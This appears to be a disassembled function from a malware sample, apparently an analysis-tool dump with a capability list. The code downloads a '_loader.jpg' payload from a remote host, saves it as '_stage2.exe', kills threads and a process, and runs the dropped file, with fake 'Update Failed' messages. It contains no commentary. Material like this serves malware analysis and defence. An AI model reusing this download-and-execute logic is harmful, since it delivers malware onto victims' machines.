Function at 0x404bf0
Capabilities:
Create process on windows
Download and write a file
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Suspend thread
Terminate process
Terminate thread
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x680
push str.http:__iisp_rs_1.gtisc.gatech.edu_images_
lea eax, [ebp - 0x478]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.27b59056ebe6cd2b3471fc05dc307447600f7d2d2c291bfa52818f1fd5f85fea
lea ecx, [ebp - 0x478]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0
push str.27b59056ebe6cd2b3471fc05dc307447600f7d2d2c291bfa52818f1fd5f85fea
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push str._loader.jpg
lea edx, [ebp - 0x478]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x84200000
push 0
push 0
lea eax, [ebp - 0x478]
push eax
mov ecx, dword [0x408c94]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0x100000
mov edx, dword [ebp - 0x1c]
push edx
push 0
mov eax, dword [0x408c2c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0x200
push 0
lea edx, [ebp - 0x278]
push edx
call fcn.004017c0
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x200
lea ecx, [ebp - 0x278]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x404d14
cmp dword [ebp - 4], 0
je 0x404d14
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x278]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.00401800
add esp, 0xc
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
push 0x200
push 0
lea edx, [ebp - 0x278]
push edx
call fcn.004017c0
add esp, 0xc
jmp 0x404ca8
cmp dword [ebp - 8], 0
jne 0x404d30
push 0
push 0
push str.Update_Failed_Size_0
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x404e7c
lea eax, [ebp - 0x680]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str._stage2.exe
lea ecx, [ebp - 0x680]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCatW]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x680]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x10], 0
jne 0x404db4
push 0
push 0
push str.Update_Failed_BytesWritten_0
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x404e7c
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x408c28]
push edx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov eax, dword [0x408c24]
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov ecx, dword [0x408c20]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0
mov edx, dword [0x408c28]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov eax, dword [0x408c24]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov ecx, dword [0x408c20]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [0x408370]
push edx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x18], eax
push 0
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0x78]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x680]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x404e6b
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
push str.CreateProcess_Failed
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov esp, ebp
pop ebp
ret